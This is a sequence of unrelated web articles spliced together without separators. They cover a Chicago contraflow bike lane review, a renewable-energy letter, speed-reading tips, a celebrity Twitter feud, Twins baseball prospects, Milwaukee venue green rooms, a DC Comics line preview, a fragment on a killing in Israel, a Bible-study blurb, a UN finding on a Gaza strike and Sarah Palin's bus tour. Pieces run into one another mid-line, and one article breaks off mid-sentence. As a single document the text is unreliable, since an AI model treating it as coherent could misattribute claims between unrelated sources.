The project took two whole years to materialize, possibly because some residents complained it would impede cars and “blight the community with ugly signs.” But most people seemed to support the project. 48th Ward Alderman Harry Osterman persevered, and here we are.
So how’d it turn out? CBS News is again predicting bike-pocalypse. But I happened to ride on this stretch four times Wednesday, and I, for one, think it’s pretty good.
For background, check out Streetsblog’s great write-up of the project.
First of all, the Greenway isn’t quite done. Northbound “sharrows” still have to be installed, which will direct northbound bikes to keep to the right. The lane will also eventually extend south beyond Foster to Carmen, at which point it’ll continue east along Carmen until Broadway.
Cyclist traveling south, car traveling north. Glenwood just south of Hollywood.
The driver’s perspective: A view to the north on Glenwood, just north of Bryn Mawr. Contraflow lane on the left. Ugly sign blighting community on the right.
First impression: it’s good! Clear markings inspired confidence. Cars generally gave me enough room, although the lane abuts the door zone. (Be careful.) It’s also a pretty route, lined with handsome ash and maple trees.
But the contraflow concept isn’t perfect. The main reason this section was targeted for a bike lane is that the only other southbound routes, Clark and Broadway, have lots of car traffic. Cyclists were instead traveling south down Glenwood in large numbers illegally. The Greenway is designed to legalize southbound bike travel and make it safer.
Sure, there’s something a little unnerving at first about traveling the “wrong way” through an intersection. But if you don’t fly through the stop signs, it’s easy enough to navigate.
The cyclist’s perspective: Glenwood and Hollywood looking south. Note the tiny stop sign for southbound cyclists.
This stretch of Glenwood also features speed bumps, annoying to cyclists. But speed bumps discourage Glenwood from becoming a high-speed, high-traffic through-street for cars, and thus make the route a good candidate for a bike lane. One has to take the good with the bad.
At night, I encountered a couple of other problems.
Glenwood looking south, just north of Foster.
Look at the picture above. See the speed bump? I didn’t. This being a former one-way street, the speed bumps only have markings on the other side. To a southbound cyclist at night, the speed bumps blend into the rest of the roadway. (It also wasn’t this bright in real life. Thanks, iPhone 5s camera sensor.)
For reference. Speed bumps only have markings for northbound travelers.
The easy fix is to put southbound markings on the speed bump.
Second quibble.
The same spot on Glenwood.
Passing a driver at night made me feel like I was undergoing an invasive optometry procedure. An inherent weakness in the contraflow design.
This is a minor annoyance, not a crisis. But imagine if, in addition to the northbound car on your left, there’s also a parked car on the right with its lights on. Then it becomes a major annoyance.
Now that I’ve quibbled, let me reiterate how great this thing is. Going southbound on Glenwood feels extremely safe. It’s a pleasant, shady, and quiet route. The lane itself looks good. It addresses a real safety problem. And at $65,000, it’s cheap as heck.
The real measure of success is the zillion people I encountered riding in the contraflow lane. I didn’t keep count of how many, but it was a lot.
Happy riders wondering why I’m photographing them.
I did count while riding northbound on Glenwood at 10 PM on Wednesday. These were by no means peak hours, and I only rode between Foster and Bryn Mawr. But I still passed five(!) cyclists in the contraflow lane.
This isn’t going to be the speediest route in Chicago, thanks to the speed bumps and tight spaces. But it doesn’t have to be. If you’re a confident cyclist in a hurry, you can already take Broadway and contend with its fast-moving cars. Glenwood caters to cyclists looking to avoid high-speed car traffic.
The most important thing? The city recognized how cyclists were using city streets and modified the streets to accommodate those uses. That in itself is remarkable. Even if it isn’t perfect, it’s good enough, and it meets a vital need for better neighborhood bike infrastructure.
OVERALL RATING:
3.25/4. A very good thing.Hi Christine,
I couldn't agree more with your points.
What's lacking in the world these days is a grand overriding vision -- one that large numbers of people can buy-into.
The entire world bought-into Perestroika and Glasnost, culminating in the end of the Cold War.
The only reason the Cold War ended is because those policies appealed to very large and disparate groups of people worldwide.
The imagination of the global public was captured *and only thereby* did the Cold War end. (Voters put the people into office who shared the dream of ending the Cold War)
Similarly, did South African apartheid end.
Someone created a vision (that was fine-tuned along the way) to which many millions of global citizens could buy-into.
People voted into office, those who would carry out their wishes on the matter.
So many other examples exist; 'The New Deal (FDR), Victory in WWII (Churchill), the Moon Shot (JFK), civil rights (MLK), Playing the China card (Kissinger), the PC (Steve Jobs / Bill Gates), I could go on at length. But you get my point.
Stifling individual visionaries is non-productive -- yet, it seems to be the new norm.
Not all visionaries are perfect, not all visions are inspired, but it was a visionary who created the wheel -- not an incrementalist. Yet, look how profound that vision was.
He, or she, may not have created the best wheel at the time, but the manifestation of that vision has moved our civilization by orders of magnitude.
Under the umbrella of a grand and popular vision, the will of millions (perhaps billions) of citizens are galvanized toward a common cause. (The Moon shot is a great example of this)
In the absence of a grand overriding vision, civilization eventually falters.
Presently, the grand overriding vision is to attack suspected terrorists and to degrade the status of Muslims in our own, and their own, countries.
That's not a vision. Nor is it wise. Everyone on the planet is 'part of the solution' -- unless we bungle it, that is...
And slamming Vlad Putin in the media is not visionary.
'Defaming Vlad Putin is not a policy.' In fact, it's counter-productive.
What we need now is a real vision, by real leaders, that most everyone can buy-into. We need 'Larger than Life' stuff -- not this B-movie script stuff.
One script that millions and perhaps billions of people could buy-into, would be an accelerated change-up to renewable energy / high fuel economy standards for cars and light trucks.
Say, 50% of all electricity produced in the world by 2020 should be sourced from renewable energy. And a 95 MPGe standard for new vehicle fleets.
NOT as difficult as the Moon shot. NOT as difficult as ending the Cold War in only a matter of months. NOT as difficult as ending South African apartheid within a handful of years.
Still, it would be a grand enough and difficult enough vision (and yet, reachable) to capture the world's attention and get people galvanizing towards a unifying and noble cause.
Reaching 50% of our energy needs with renewable energy is a vision and a goal that everyone could feel good about and want to buy-into.
A simple, but profound step towards this worthy goal, is to either;
a) remove the $600 billion dollars of annual fossil fuel subsidies over a 10 year period, or;
b) dramatically ramp-up renewable energy subsidies to match fossil fuel subsidies.
Either plan would work. I actually favour the (b) option, but no matter, whichever way we get there has it's own merit.
We'd be leaving a cleaner world to our future generations and saving our economies trillions of dollars in environmental costs and healthcare costs.
All that is stopping us from that goal is a lack of vision and will.
Best regards, JBS
http://johnbrianshannon.com/2015/01/11/how-new-energy-policy-save-eu/Billionaire Bill Gates wishes that if he had one superpower, it would be the ability to read faster.
Warren Buffet has claimed that he has “wasted ten years reading slowly.”
Information is the most valuable commodity out there, and our ability to read faster can undoubtly speed up how fast we learn.
So how do we read faster?
Let’s begin by setting the benchmark…
Setting The Benchmark
Before we learn how to read faster, we need to know what our current reading speed is.
According to Staples, the average reading speed of an adult is 300 words per minute.
Third-grade students = 150 wpm (words per minute)
Eight grade students = 250 wpm
Average college student = 450 wpm
Average “high level exec” = 575 wpm
Average college professor = 675 wpm
Speed readers = 1,500 wpm
World speed reading champion = 4,700 wpm
To find out what your reading speed is, take this reading speed test by clicking here.
Uncovering Myths On Reading Speed
Myth #1: Reading 10,000+ words per minute
In movies or TV, you may have seen genius individuals who breezed through encyclopedias with nearly perfect memory of the information obtained.
This may make for great entertainment, but it’s simply not realistic.
According to eye-movement expert, Keith Raynor, going above 500 words per minute is highly unlikely because of the difficulty of processing the visual information given the mechanical process of moving our eyes.
Speed reading experts have claimed that you can bypass this barrier by reading and processing multiple lines at the same time.
But according to Scott Young, this isn’t possible for two reasons:
a. the fovea — area of our eye that process details — is only about an inch in diameter at reading distance, making it very difficult. This means that our reading speed is limited to the physical constrains of our ability to fixate on visual information, which is rather small.
b. humans face working memory constraints, and we’re only able to hold around “3–5 chunks” of information at a time. Parsing multiple lines simultaneously is limited to the RAM we possess mentally
Myth #2: Subvocalization
Subvocalization is the inner voice in your head that speaks the words outloud when you’re reading.
Speed reading experts claim that getting rid of subvocalization is essential in order to improve your reading speed.
As Scott Young argues, while reading without using your inner voice may speed up your reading, it sacrifices something more important — comprehension.
Subvocalization is necessary to understand what we’re reading, and even the fastest readers subvocalize. The difference is, they just do it faster than the average reader.
NASA has even built systems to pick up these impulses, in order to browse the web or control a spacecraft.
According to Chuck Jorgensen, one of the team leads of NASA:
“Biological signals arise when reading or speaking to oneself with or without actual lip or facial movement. A person using the subvocal system thinks of phrases and talks to himself so quietly, it cannot be heard, but the tongue and vocal chords do receive speech signals from the brain.”
Just like you would use subvocalization when trying to learn a new language, read for comprehension, not for the sake of speed.
To read more about subvocalization, check out this article.
Myth #3: Reading = Practicing Speed Reading
We often mistake the act of reading for improving our reading speed.
This can’t be the case because practicing speed reading involves stretching our normal reading speed. Chances are, comprehension will go out the door because you’ll still be used to your normal speed.
It’s ineffective to try to improve your reading speed, with expectations to comprehend the information you’re reading.
When you’re reading, read for the sake of reading.
And dedicate time separately on reading exercises to improve your reading speed.
Doubling Your Reading Speed
With that said, there are useful reading techniques that you can use to improve your reading speed, while maintaining the comprehension of what you’re reading.
1. Know What You Want
Most of the content we read on a regular basis starts with an end goal in mind. It could be a catchy headline we came across on Facebook, a book that we’re reading to learn a language faster, or something a co-worker has asked us to review.
The point is, knowing what you want out of a text before you read it helps prime your brain to pay attention to specific words or sentences.
You’re on the hunt for something specific, not a wanderer.
This also helps you slow down when you’ve discovered an important section of the text, and pour your full focus to understand it completely.
2. Selective Skimming
In short, skimming is a reading technique where we selectively pick up parts of information. Skimming can be incredibly effective once we know what information we’re looking to obtain.
A study has found that skimming a text before reading it, improves the comprehension in most cases.
Think about when you were in school taking an important exam, where time was constraint.
We quickly skimmed through the exam papers to know how the exam was structured, what type of questions were asked, and which points were worth the most points. From there, we knew how to maneuver through the exam faster and more strategically.
3. Use a pointer
Using a pointer can be very effective, especially when you’re initially practicing speed reading.
Our eyes are constantly moving, and using our index finger or a pen to stabilize these quivers will keep us on track.
At first, it may feel that your reading speed has decreased, but give yourself some time to adjust. Once you get the hang of it, start moving your pointer faster than you can read. This will force your eyes to adjust to a faster speed, while stabilizing your natural eye movements.
4. Expand your perceptual
Now that you have your pointer, it’s time to maximize its usage.
According to Tim Ferriss, an average reader who reads from the 1st word to the last word of each line, are only using 50 percent of their peripheral vision.
The way to improve your peripheral vision is what Ferriss calls Perceptual Expansion.
We’ll break down this reading exercise in 2 simple steps:
a) Technique (1 minute):
Use your pointer (pen or index finger) to track and pace at a consistent speed of one line per second.
Begin 2 words in from the first word of each line, and end 2 words in from the last word.
b) Speed (3 minutes):
Begin 3 words in from the first word of each line, and end 3 words in from the last word. Repeat the technique.
You should continue at the speed that you’re reading until you are accustomed to the pace. From there, challenge yourself to begin 4 words in from the first word of each line, and end 4 words in from the last word.
Try to aim for 1/2 second reading per each line.
Don’t worry if you comprehend little or nothing at all. As we mentioned previously, this is the reason why we separate reading and speed reading practice.
Expanding your peripheral vision to save 2 words per line may not seem a lot, but when you’re reading a book: it can save you hours of time.
5. Love What You’re Reading
There’s no effective tactic or strategy around this, except to read about topics you’re truly interested in.
Even the fastest, trained readers can’t maintain their reading speed or comprehension skills, if they’re reading something that bores them.
If you’re forced to read something you’re not interested in (i.e. for a school exam, a driver’s license test, etc.), be more optimistic and open-minded about the topic at hand.
Think about ways that this information can be applied in your life in the future, and appreciate that whatever you’re reading is benefiting you in some way or another.
That’s all there is to it you guys!
Any one of you can start improving your reading speed and start absorbing information faster.
Remember, improving your reading speed comes with great benefits, including saving time, being more productive, and becoming a faster learner in all aspects of your life.
Now it’s time for you to become a speed reader. You just have to decide.
Over To You
Have you tried these tips to improve your reading speed? Which one of them worked for you, and which one didn’t? What are your best tips on how to read faster?
I’d love to hear from you in the comments below.
This post first appeared on the Rype Journal.
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The actors ended their Twitter feud, started after Sarandon, a Bernie Sanders supporter, said she would not vote for Hillary Clinton if she won the nomination
Suicide Squad v Batman v Superman v Susan Sarandon v Debra Messing – the Dailies film podcast Read more
Susan Sarandon and Debra Messing have declared their Twitter feud over after the two actors got into a public spat over their support for Bernie Sanders and Hillary Clinton in the Democratic presidential race.
The feud began when Sarandon implied that she would vote for Republican frontrunner Donald Trump if Sanders, her preferred Democratic candidate, lost the nomination to Clinton.
“I think a lot of people are like, ‘Sorry, I just can’t bring myself to vote for [Clinton],’” Sarandon said during an appearance MSNBC’s All In with Chris Hayes on Monday. “Some people feel Donald Trump will bring the revolution immediately.”
While Sarandon later clarified that she would never vote for Trump, her comments drew immediate fury – not least from Messing, a prominent Clinton supporter, who asked the Thelma and Louise star why she would not use her large platform to make clear that she would not vote for Trump.
She added:
Debra Messing (@DebraMessing) 1-What kind of revolution?! A WALL?! #ImWithHer but if it's Bernie/Trump I will ABSOLUTELY support BS. https://t.co/nqPGCDStCX
Debra Messing (@DebraMessing) 2- the idea that Susan Sarandon wud say that NOT supporting Hillary in a HRC/Trump race is a legitimate choice for Democrats, is insane.
Debra Messing (@DebraMessing) 3- There are people who need protections, and B Bernie or Hillary have that as a priority. Trump does not. https://t.co/oLueAHCaUe
Sarandon defended herself, saying she was thinking more about first-time voters who might have a “dilemma” in voting for someone who they had not originally supported.
Susan Sarandon (@SusanSarandon).@DebraMessing if it weren't for Sanders & whose interests HC doesn't represent, it is a dilemma. (2/2)
Messing fired back, saying again that Sarandon’s position and influence mattered.
Debra Messing (@DebraMessing) 1-You are not a first time voter.Your position,as a life long advocate 4 the underepresented,is what matters to me. https://t.co/oLueAHCaUe
Debra Messing (@DebraMessing) 2-Your voice is powerful and influential. You not clearly disavowing Trump implies that u consider him (vs Hillary) https://t.co/oLueAHCaUe
Debra Messing (@DebraMessing) 3- There are people who need protections, and B Bernie or Hillary have that as a priority. Trump does not. https://t.co/oLueAHCaUe
In between sparring with each other, each actor took the time to retweet support from various individuals and news outlets. Sarandon called out the Will and Grace star for retweeting negative comments about her.
Susan Sarandon (@SusanSarandon).@DebraMessing now RT-ing personal attacks. Cool. https://t.co/ajOo2NcCur
But as of Thursday the two actors appear to be keen to call a truce, with a little help from actor Kathy Najimy, who also voiced her concern with Sarandon’s comments.
Susan Sarandon (@SusanSarandon) Alright @DebraMessing report me to the homeroom teacher and let's STOP. @kathynajimyDespite a few moments over the last couple days that haven’t been pretty, Jorge Polanco has solidified his standing as the starting shortstop of the Minnesota Twins. While he’s been aided by an adept defensive first baseman in Joe Mauer, who has saved his infielders three errors with scoops this year per Fangraphs, Polanco has quieted a lot of naysayers about whether he has the arm, or quite frankly the overall chops to play short.
Through the first five weeks of the season, there are already five excellent plays by Polanco up on YouTube:
Defensive statistics are already hard enough to trust, but they at least seem to confirm the eye test suspicion that Polanco is much better at short this season. Among 22 qualified shortstops, Polanco ranks second in defensive runs according to Fangraphs (plus-3.0), second in raw Ultimate Zone Rating, first in Ultimate Zone Rating per 150 Defensive Games, fourth in Out of Zone plays made (25) and sixth in Defensive Runs Saved (two). In a lot of those stats, he in some pretty elite company — like Andrelton Simmons, Francisco Lindor and others — or ahead of them.
In other words, while his bat has sagged a bit of late, it’s his glove that has kept him in the lineup. On a team where Eduardo Escobar is a more than capable backup and one where the team actively pursued a glove-first utility guy (Ehire Adrianza), Polanco has put a lot of the worries to bed about his defense — at least thus far into the season.
Much of the offseason talk surrounding the Twins centered on a potential Brian Dozier move, and how that could get Polanco over to second base and open up a path in the future for top prospect Nick Gordon. Now, with Dozier still donning red and blue and Polanco starting to pick it at short, does that change the future for Gordon, whom the Twins spent the No. 5 pick on in the 2014 draft?
The short answer is….it’s too soon to tell. And while that may seem like a copout, it’s important to remember that Dozier is only signed through the 2018 season. Beyond that, early indications are that this front office is not afraid to make difficult decisions on personnel. While trading Dozier is a much tougher PR hit to take than DFA’ing Michael Tonkin or Danny Santana, keep in mind that they shopped him all winter, and rather publicly — at least compared to what we saw in the Terry Ryan era.
All that really means, though, is that Gordon’s timeline shouldn’t be too much of an issue. He’s spent a full season at every level he’s played at so far, and if for some reason that trend continues, he’d be expected to start for the Twins on Opening Day in 2019, just after he turns 23. Now he may move more quickly than that and that’s OK too, because the odds of the Twins simply holding onto Dozier until his contract ends and then saying “Thanks, bye” aren’t very high, either.
To Gordon’s credit, he’s off to a tremendous start at Double-A Chattanooga. Through 28 games, he’s hitting.336/.403/.500. He’s already hit two home runs — which accounts for nearly one-third of the long balls he’s hit as a professional. He also has 13 walks, just 10 off last year’s pace but in nearly 370 fewer plate appearances. Percentages-wise, Gordon has more than doubled his walk rate from last year (4.7 percent) to this year (10.5 percent), which helps bolster his case as a future top-of-the-order hitter. The power bump has also been sizable (.164 iso this year;.089 career), which probably speaks more to his extra-base pop (doubles and triples) as a big leaguer more than anything. At six feet tall and 160 pounds — at least according to Fangraphs — it’s not likely that homers will ever be a big part of his game. Gordon’s similarly-sized brother Dee has never hit more than four in any season, for whatever that’s worth.
But with Polanco’s success at short, is Gordon’s future at second base? It’s a question that won’t necessarily go away, either, as there are some questions about Gordon’s ability to stick at short as well. The division of his playing time won’t quiet those worries either, as he’s split his time nearly down the middle between shortstop (14 games) and second base (12 games) with the Lookouts this season. Then again, in the interest of full disclosure, he’s been splitting time at the two positions with Engelb Vielma, a player who is likely going to be a glove-first utility guy in the majors who also needs to see time at short. Escobar’s nickname for him is “the Silk Hand,” if that tells you anything about his defensive chops.
Prospect writer Chris Blessing of BaseballHQ.com has had a front-row seat for a number of Lookouts games this season, and is thus a pretty reliable source for the skinny on Gordon this season.
“Nick’s success at Double-A thus far is in direct correlation to his approach,” Blessing told Zone Coverage recently. “Most guys take this promotion and try to be something they aren’t. Nick is staying within himself and reaping the benefits.”
One thing of interest — especially in light of his hot offensive start — would be the intricacies of Gordon’s swing. “His base swing is short and compact,” Blessing noted. “On fastballs, he does a solid job keeping his hands inside the ball and not over swinging. A lot of his contact is hard because it is made out in front of the plate. He’s staying back on the baseball and is powering up when the fastball is middle in and he drives it. He is tapping into more power, too.” That is evident not only in Gordon’s iso (isolated power, which is SLG-AVG), but also that Gordon roped an opposite-field triple, just missing a home run the night before Blessing spoke with Zone Coverage.
LISTEN: Chris Blessing breaks down current and former Lookouts on Midwest Swing recently.
Like most young hitters, Gordon has some trouble with offspeed pitches. Rather than staying compact like he does with fastballs, Gordon has a tendency to expand the zone and even collapse his back leg as he swings at non-strikes. “This is not uncommon,” Blessing advises. “Each level has its new difficulty for hitters. Double-A is where the average breaking ball is 2-to-3 times better than the previous level, which will contribute to his increased strikeout rate.” Big-time Twins prospects have each had their own struggles with breaking balls at Double-A, Blessing added. In his estimation, Miguel Sano figured it out in a month. Polanco needed a season. Byron Buxton, Blessing said, never really figured it out before he jumped.
OK, so what about defense?
Blessing has only seen Gordon at short. “He reacts well to the ball and gets to every ball his fringe-average range allows him to get to,” Blessing said. “He’s betting coming in on balls than moving vertically. His shortstop play is passable.”
But who does Blessing think is the better shortstop? Who has more range? “Gordon has a little less range than Polanco at the same time in development but has a much stronger arm,” Blessing suggested. “Nick has soft hands. When he does bobble a grounder, he doesn’t panic and stays within himself to complete a play. He’s probably a second baseman going forward. His arm can handle third, though we won’t know how good he’d be there until we see his reactions.”
With all this said, Blessing still thinks the higher ceiling at the position belongs to Gordon. “That’s the toughest question I’ve been asked in months,” Blessing replied with a chuckle. “The slightest edge goes to Gordon because of a stronger throwing arm. But a better defensive option at short would push both of them off the position. Polanco is rangier, no doubt. The issue has always been the arm. Polanco really bought into working hard on his footwork in 2015, mostly on throws.”
For his money, Blessing said, Vielma is the best defensive shortstop in the organization is Vielma, but he doesn’t have the bat to push either off the position.
On Polanco, Blessing noted that he’s been a fan since the days of Elizabethton, all the way back to 2012. “Polanco is one of my all-time favorite players I’ve scouted,” Blessing said. “I took a scouting trip with my friend and mentor Mike Newman to the Appalachian League when I was still green at prospect coverage. I learned more from the 2012 Elizabethton Twins and scouting those guys again in 2015 and ‘16 at Chattanooga than any other group. Polanco was an older kid on the squad and someone we didn’t identify as a prospect until we saw him in person. Good makeup. Good fundamentally at the plate. Easier to scout than most.”
RelatedWhile countless people flock to Milwaukee’s numerous clubs, theaters, arenas, concert-equipped coffee shops, and other performance spaces every year, only a select few are allowed to peer behind the scenes. Unless you’re a comedian or musician about to take the stage, you’re touring with an artist, or you’re employed by the venue, you probably haven’t had the opportunity to see where performers spend time just before or immediately after a show in Milwaukee. Until now.
Every month, Milwaukee Record will let you “Inside Milwaukee’s green rooms” with candid photos, thorough backgrounds, and personal anecdotes about the backstage confines of the city’s venues. This month, we’re following up our downtown debut by checking out the insides of Anodyne’s Walker’s Point Roastery, Club Garibaldi, and The Metal Grill. [All photos by Meg Strobel.]
Anodyne (Walker’s Point Roastery)
After enjoying years of success in its Bay View location, Anodyne added a new cafe in 2013, and in doing so, relocated its roastery to a gorgeous 24,000-square-foot space on Bruce Street in Walker’s Point. Adding to the new cafe’s classic Cream City Brick façade, the treated wood flooring, and spacious interior is an elevated stage.
Since Anodyne’s foray into live (all-ages) entertainment in late 2013, the space has played host to respected national acts like The Baseball Project, Tommy Stinson, and Split Single, while fast becoming a favorite among locals like Rx Drugs, Nineteen Thirteen, Mike Mangione, Paul Cebar, and Buffalo Gospel. Up a cement ramp and in a room situated directly behind the stage, there’s a cozy and comfortable green room with wood furnishings, a couch, beverages, and a private bathroom.
“Anodyne’s backstage area is always well stocked, comfortable, and clean,” Buffalo Gospel singer-guitarist Ryan Necci says. “We’ve played the room multiple times and are always struck by the spread they provide. There’s usually a selection of healthy snacks, vegetables, bottles of water, and sometimes a bottle of champagne.”
”It’s really a nice setup—comfortable couches and chairs, space for everyone. The clean, private rest room should also be noted,” Necci says. “They seem to really understand that a strong, positive working relationship between artists and a venue is beneficial to everyone involved. It really is a pleasure to perform there.”
Club Garibaldi
Club Garibaldi has been in business since the 1800s. It’s had a lot of identities through the years, and it continues to wear a variety of different hats today. The Bay View bar, restaurant, and approximately 150-capacity banquet hall routinely hosts concerts in a back room that accounts for more than half of the longstanding establishment’s 3,600 square feet.
In recent years, Club G.’s stage has booked the likes of Supersuckers, Nathaniel Rateliff, Meat Puppets, Valerie June, Caroline Smith, Shellac, Paul Collins, Tommy Stinson, S. Carey, and cult comedians such as Andy Kindler, Neil Hamburger, and Nick Vatterott. Like the bar itself, Club Garibaldi’s basement lounge lacks frills, but it’s charming and it more than gets the job done…despite doubling as a storage space for beer, liquor, and other supplies. Touring acts are usually treated to a pre-show meal, snacks, and domestic brews.
“The Meat Puppets, we had them one Easter. I get sick of making chicken wings and burgers, so I made them an Easter Sunday dinner with ham, twice baked potatoes, asparagus, and they went nuts,” Club Garibaldi owner Joe Dean says. “When they came back the next time, I made them crab and asparagus-stuffed tenderloin with hollandaise. They actually gave me a standing ovation when I walked downstairs.”
“Usually if it’s a touring band, we like to feed them. We either let them have what they want off the menu or if they’ve got a special vegetarian request, I’ll make what I can. We usually put out water, snacks—chips, granola bars, nuts—and some beer,” Dean says. “Bands are always real appreciative. It’s also my office down there. Usually around tax time, I kind of close it off because I have everything spread out and I’m trying to organize everything.”
“All the bands like it because it’s a getaway,” Dean says. “It’s not the Four Seasons, but it’s private, it’s secure, nobody can get down here, except either my guys or the band. It’s a nice place for them to relax and mellow out.”
The Metal Grill
Since Theresa and Neil Borkowski opened The Metal Grill back in 2013, the owners of the downtown Cudahy edifice that was previously known to many Milwaukee-area metalheads as The Blue Pig and Vnuk’s Lounge have taken steps to surpass their predecessors in the caliber of acts booked, and the level of comfort musicians feel backstage. In its short existence, the sub-300-capacity suburban bar, grill, and rock club has hosted an array of regional metal bands and a steady diet of tribute acts, as well as sporadic performances by notable (or semi-notable) mainstream metal, punk, and hardcore commodities like Voivod, Trapt, The Suicide Machines, 88 Fingers Louie, Kip Winger, The Flatliners, Norma Jean, PEARS, Masked Intruder, Direct Hit!, and Expire.
Though quaint, the rear room offers a relaxing atmosphere to acts. Aside from posters and stickers from past performers affixed to walls, the room has subtle decor that includes throw pillows, candles, and area rugs one might not picture being contained within a WAMI Award-winning heavy metal club.
Further bucking preconceived notations are amenities like a K-cup coffee and tea station, a water cooler, a washer and dryer—a rare luxury for touring musicians—and a private bathroom. Ownership alleges the bar is haunted, but The Metal Grill’s green room is anything but frightening.In April of 2017, DC Comics announced a new line of comics that would be created from the Dark Nights: Metal event. This new line would be called “Dark Matter” and would focus on legendary artists telling stories together with writers. At the time, five titles were revealed, with two titles being shrouded in mystery. Now, these last two titles have been announced and, thus, the entire “Dark Matter” line has officially been revealed.
In this article, we’ll be taking a quick look at what we have learned about each “Dark Matter” title so far. This includes information from press releases, interviews, and events within the first two issues of Dark Days.
The Immortal Men
The Immortal Men is slated to be written by James Tynion IV with art by Jim Lee. It follows the story of five immortal siblings who were “born at the dawn of time.” These siblings gained immortality when a chunk of Nth metal arrived at the dawn of history. Since then they have been aiding humanity from the shadows and have supposedly halted Armageddon in the past.
Most of what we have learned about the Immortal Men has come from Dark Days: The Forge (Review). In this comic, the group seems to be led by the “Immortal Man,” who may or may not be related to an old DC Comics character of the same name. It also tells us that the Immortal Men have some sort of connection with Duke Thomas and his mother, who were recently revealed to have superpowers in the All-Star Batman series.
The Silencer
The Silencer is slated to be written by Dan Abnett with art by John Romita Jr. It follows the story of the “world’s deadliest assassin” who trades her life of crime for “a chance at a normal life.” Her normal life is then interrupted when her past comes back to haunt her, leading her to return to her career as an assassin. Artist John Romita Jr. has said that he recognizes that the world’s deadliest assassin idea has been “done to death” but says the basis behind The Silencer will be different.
Outside of this, most of what we know about The Silencer comes from Dark Days: The Casting (Review). In this comic, it is revealed that Talia al Ghul is the one who has brought “The Silencer” back into a life of crime. It is also tells us she has done this in order to prepare for the future, specifically to prepare |
Henriette did not want assistance, according to the report.
On June 11, two days before her death, police and social services in Israel intervened, holding a meeting with the parents and Henriette. It apparently had little impact. She wanted to live in her own apartment but ultimately had to return home, the indictment said.
On the day she died, she told a relative that her boyfriend was due to be freed and that she would convert to Islam once he was. The relative then told the father, who reacted by murdering her in the home, the charges said.
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He had had a history of criminal convictions, including intimidation, but he hadn't been involved in an incident since 2004.
In Israel, both Jewish and Arab communities find intra-religious relationships to be problematic, largely because of tensions over the course of decades of conflict between Israelis and Palestinians.
More from NewsweekIf you go to bed tonight as a believer in Christ, why do you think you’ll wake up a Christian tomorrow? The fact that you’ve been a Christian for a long time? Your own willpower? You feel confident that you’re strong enough to keep loving God?
If these reasons are enough to stem your fears, you probably have not considered your circumstances closely enough. We have a powerful enemy whose entire campaign is to destroy our faith. You still have sin that lives in you and seeks to eat away your hope. You live in a body that goes bad, and every night’s sleep brings you closer to a day when your mind might lose its traction, and with it, your “rock solid” hold of God and the gospel.
Christians should have steel-strong confidence that they will remain Christians until they die. But it is precisely not because of our strength, our willpower, our solid determinedness to believe in Christ. Rather, it is because God himself has sealed us with his Spirit. The only way a Christian can wake up without faith is if God withdraws the down-payment of his Holy Spirit — and this he will never do.
Look at the Book is John Piper’s effort to help teach people to read the Bible for themselves. It’s an ongoing series of 8–12 minute videos in which the camera is on the text, not the teacher.
As part of this initiative, Desiring God has partnered with local churches for regional events focused on particular passages of Scripture. This is Part 8 in a series on Ephesians called “Seeing and Savoring the Splendor of God’s Sovereign Grace.”Image caption Jehad Mashhrawi's 11-month-old son Omar was killed in the attack on his house in Gaza
The son of a BBC journalist and two relatives killed in November's conflict in Gaza may have been hit by a misfired Palestinian rocket, a UN agency says.
The UN Office of the High Commissioner for Human Rights (OHCHR) said its conclusions were based on a visit to the site a month after the attack.
At the time, human rights groups blamed the deaths on an Israeli air strike.
The Israeli military says it never denied carrying out the strike because it was not clear what had happened.
The UN says 33 other Palestinian children died in Israeli attacks during the conflict.
'Rubbish'
A photo of BBC video editor Jehad Mashhrawi cradling the corpse of his baby son Omar became one of the iconic images of November's short war.
Omar was killed, along with an aunt and an uncle, after a missile hit the family home in Gaza City.
It happened only an hour after Israel launched its operation with the killing of Hamas's military commander.
The family, and human rights groups, said that the house was hit in an Israeli attack.
The Israeli military made no comment at the time of the incident but never denied carrying out the strike.
Privately, military officials briefed journalists that they had been targeting a militant who was in the building.
Now, though, the United Nations says the house may have been hit by a Palestinian rocket that fell short.
This is despite the fact that the Israeli military had reported no rockets being fired out of Gaza so soon after the start of the conflict.
UN officials visited the house four weeks after the strike.
They said they did not carry out a forensic investigation, but said their team did not think the damage was consistent with an Israeli air strike.
However, the UN said it could not "unequivocally conclude" it was a misfired Palestinian rocket.
A UN official said it was also possible the house was hit by a secondary explosion after an Israeli air strike on Palestinian weapons stores.
Jehad Mashhrawi dismissed the UN findings as "rubbish".
He said nobody from the United Nations had spoken to him, and said Palestinian militant groups would usually apologise to the family if they had been responsible.
An Israeli military spokesman said he could not comment on the accuracy of the UN's findings but said it would not be the first time a Palestinian rocket had misfired.
He said that, in the intense first hours of the conflict, it was not always clear what was happening.
The UN report concluded that at least 169 Palestinians were killed by Israeli attacks during the offensive.
It said more than 100 were civilians, including 33 children and 13 women. The report said six Israelis were killed by Palestinians attacks, including four civilians.Sarah Palin has denied reports that she cut short her One Nation bus tour, posting on her Facebook page: “Why didn’t anyone tell me? Oh, wait, that’s because it hasn’t been cancelled.” But though Palin said she had been called back to Alaska for jury duty, she was vague about when she would restart the tour: “The next leg of the tour continues when the time comes.”Palin was responding to a report from Real Clear Politics Wednesday that, despite tentatively scheduled stops in Iowa and South Carolina as part of her “One Nation” bus tour, Palin and her family had returned to Alaska.
In a Facebook post called “*Sigh* Reports of Tour Demise Are Greatly Exaggerated,” Palin wrote Wednesday:
Imagine our surprise when reading media reports today that the “One Nation Tour” has been cancelled. Why didn’t anyone tell me? Oh, wait, that’s because it hasn’t been cancelled. (Good ol’ media… you never cease to amaze!)
Palin characterized the hiatus as marking the “end of the east coast leg of the tour, the summer is long, and I’m looking forward to hitting the open road again.” She added that she had returned to Alaska because she had been summoned for jury duty: “Like most everyone else, even former governors get called up for jury duty.”
But Palin was vague about the details of her jury duty summons — and about when the tour would start again: “The next leg of the tour continues when the time comes. In the meantime, no one should jump to conclusions – certainly not the media with their long track record of getting things wrong or just making things up.”
The bus tour had kicked off over Memorial Day weekend, though Palin and her aides never really announced a formal timeline for it.
When asked if the jury summons would effect Palin’s contract with Fox News at all, Greta Van Susteren told TPM in an e-mail: “I have not spoken to her about it.”
According to Washington Post sources, Palin has also canceled a scheduled trip to Sudan in July. From the Post:
Palin scrapped her visit to the North African country for scheduling reasons, several sources close to her said. She was planning to travel with Franklin Graham, the son of evangelical leader Billy Graham, as well as Fox News personality Greta Van Susteren, to the July 9 independence ceremony of South Sudan, the sources said. Van Susteren also canceled her trip. Graham said on Wednesday that he still plans to go.
